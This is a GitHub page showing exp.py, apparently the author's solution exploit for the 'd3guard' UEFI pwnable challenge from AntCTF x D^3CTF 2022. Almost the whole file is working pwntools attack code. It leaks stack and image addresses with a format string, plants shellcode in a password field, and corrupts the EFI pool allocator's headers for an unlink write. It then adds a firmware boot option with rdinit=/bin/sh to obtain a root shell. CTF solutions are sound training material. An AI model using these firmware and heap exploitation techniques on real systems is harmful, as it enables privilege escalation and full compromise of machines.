-
Notifications
You must be signed in to change notification settings - Fork 1
/
exp.py
executable file
·242 lines (215 loc) · 6.49 KB
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#!/usr/bin/python3
# ************************************************ #
# AntCTF x D^3CTF 2022 #
# Type: Pwnable #
# Chall: d3guard #
# Author: Eqqie (https://github.com/yikesoftware/) #
# ************************************************ #
from pwn import *
import os
import sys
import random
context.arch = "amd64"
remote_addr = ("1-lb-pwn-challenge-cluster.d3ctf.io", 32659)
test_token = b"Sdtwx24ticC608cDjeeK35700MgHXh5D"
if len(sys.argv) != 2:
print("python3 exp.py <remote-socat|remote-debug|remote-nodebug|local-socat|local-nodebug|local-debug>")
sys.exit(0)
mode = sys.argv[1]
# remote
if mode == "remote-socat":
os.system("clear")
os.system(
f"socat $(tty),echo=0,escape=0x03 SYSTEM:\"python3 {__file__} remote-nodebug\" 2>&1")
sys.exit(0)
elif mode == "remote-debug":
context.log_level = "debug"
do_proof = True
p = remote(remote_addr[0], remote_addr[1])
elif mode == "remote-nodebug":
do_proof = True
p = remote(remote_addr[0], remote_addr[1])
# lcoal
elif mode == "local-socat":
os.system("cp OVMF.fd.bak OVMF.fd")
os.system(
f"socat $(tty),echo=0,escape=0x03 SYSTEM:\"python3 {__file__} local-nodebug\" 2>&1")
elif mode == "local-debug":
do_proof = False
os.system("cp OVMF.fd.bak OVMF.fd")
p = process([
"qemu-system-x86_64",
"-s",
"-m", f"{256+random.randint(0, 512)}",
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-nographic"
])
elif mode == "local-nodebug":
do_proof = False
os.system("cp OVMF.fd.bak OVMF.fd")
p = process([
"qemu-system-x86_64",
"-m", f"{256+random.randint(0, 512)}",
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
"-nographic"
])
def new_visitor(_id: int, name, desc):
p.sendafter(b">> ", b"1\r")
p.sendafter(b"ID: ", str(_id).encode()+b"\r")
p.sendafter(b"Name: ", name+b"\r")
p.sendafter(b"Desc: ", desc+b"\r")
def edit(target, content):
p.sendafter(b">> ", b"2\r")
if target == 1 or target == "name":
p.sendafter(b">> ", b"1\r")
p.sendafter(b"Name: ", content+b"\r")
if target == 2 or target == "desc":
p.sendafter(b">> ", b"2\r")
p.sendafter(b"Desc: ", content+b"\r")
def clear():
p.sendafter(b">> ", b"3\r")
key_map = {
"up": b"\x1b[A",
"down": b"\x1b[B",
"left": b"\x1b[D",
"right": b"\x1b[C",
"esc": b"\x1b^[",
"enter": b"\r",
"tab": b"\t"
}
def send_key(_key: str, times: int = 1):
for _ in range(times):
p.send(key_map[_key])
def exp():
# team token
if do_proof:
print("test_token:", test_token)
p.sendlineafter(b"Input your team token:", test_token)
# into 'UiAPP'
p.recv(1)
p.send(b'\x1b[24~'*20)
# leak image_addr & stack_addr
p.sendafter(b"Visitor): ", b"1\r")
p.sendafter(b"Username: ",
b"|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p\r")
p.recvuntil(b"User [")
for _ in range(5):
p.recvuntil(b"|")
stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
for _ in range(11):
p.recvuntil(b"|")
image_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
app_base = image_leak-0x173f5
# write null-off shellcode
p.sendafter(b"Visitor): ", b"1\r")
p.sendafter(b"Username: ", b"Admin\r")
shellcode = asm('''
jmp JUMP;
.byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90;
.byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90;
JUMP:
mov rax, r15;
mov rbx, 0x1461e11;
shr rbx, 8;
sub rax, rbx;
jmp rax;
''')
p.sendafter(b"Pass key: ", shellcode+b"\r")
# into visitor system
p.sendafter(b"Visitor): ", b"2\r")
# new
new_visitor(1, b"eqqie", b"a")
clear()
edit("name", b"eqqie")
edit("desc", b"aaa")
# modify POOL_HEAD.Type
# part3
part3 = b""
part3 += p64(0x40)[0:7] # POOL_HEAD.Size
edit("desc", b"\xaf"*(0x7f-len(part3))+part3)
# part2
part2 = b""
part2 += b"\xaf"*0x20 # pad
part2 += p32(0x30646870) # POOL_HEAD.Signature
part2 += b"\xaf\xaf\xaf\xaf" # POOL_HEAD.Reserved
part2 += p8(10) # POOL_HEAD.Type (EfiACPIMemoryNVS)
for i in range(6, -1, -1):
tmp = part2+b"\xaf"*i
edit("desc", b"\xaf"*(0x7f-len(part3)-len(part2)-7)+tmp)
# part1
part1 = b""
part1 = part1.ljust(0x38, b"\xaf")
part1 += b"ptal" # POOL_TAIL.Signature
part1 += b"\xaf"*4 # POOL_TAIL.Reserved
part1 += p8(0x60) # POOL_TAIL.Size
for i in range(6, -1, -1):
tmp = part1+b"\xaf"*i
edit("desc", b"\xaf"*(0x7f-len(part3)-len(part2)-7-len(part1)-7)+tmp)
# Put 'name' into other free list
clear()
# poison unlink
edit("desc", b"aaa")
edit("name", b"eqqie")
clear()
edit("desc", b"aaa")
edit("name", b"eqqie")
# calc addr
ret_addr = stack_leak-0x104ba
stack_shellcode = ret_addr-0x49
# part4(BK)
part4 = p32(ret_addr)
edit("desc", b"\xaf"*0x78+part4)
# part3(FD)
part3 = p32(stack_shellcode)
for i in range(3, -1, -1):
tmp = part3+b"\xaf"*i
edit("desc", b"\xaf"*0x70+tmp)
# part2
part2 = b"pfr0"
for i in range(3, -1, -1):
tmp = part2+b"\xaf"*i
edit("desc", b"\xaf"*0x68+tmp)
# part1
part1 = b"\xaf"*0x38
part1 += b"ptal"+b"\xaf"*4
part1 += p8(0x60)
for i in range(6, -1, -1):
tmp = part1+b"\xaf"*i
edit("desc", tmp)
# return to UiAPP
p.sendafter(b">> ", b"4\r")
print("app_base:", hex(app_base))
print("ret_addr:", hex(ret_addr))
print("stack_shellcode:", hex(stack_shellcode))
p.send(b"\r")
# Add new boot option
p.recvuntil(b"Standard PC")
send_key("down", 3)
send_key("enter")
send_key("enter")
send_key("down")
send_key("enter")
send_key("enter")
send_key("down", 3)
send_key("enter")
p.send(b"\rrootshell\r")
send_key("down")
p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
send_key("down")
send_key("enter")
send_key("up")
send_key("enter")
send_key("esc")
send_key("enter")
send_key("down", 3)
send_key("enter")
# root shell
# p.sendlineafter(b"/ #", b"cat /flag")
p.interactive()
if __name__ == "__main__":
exp()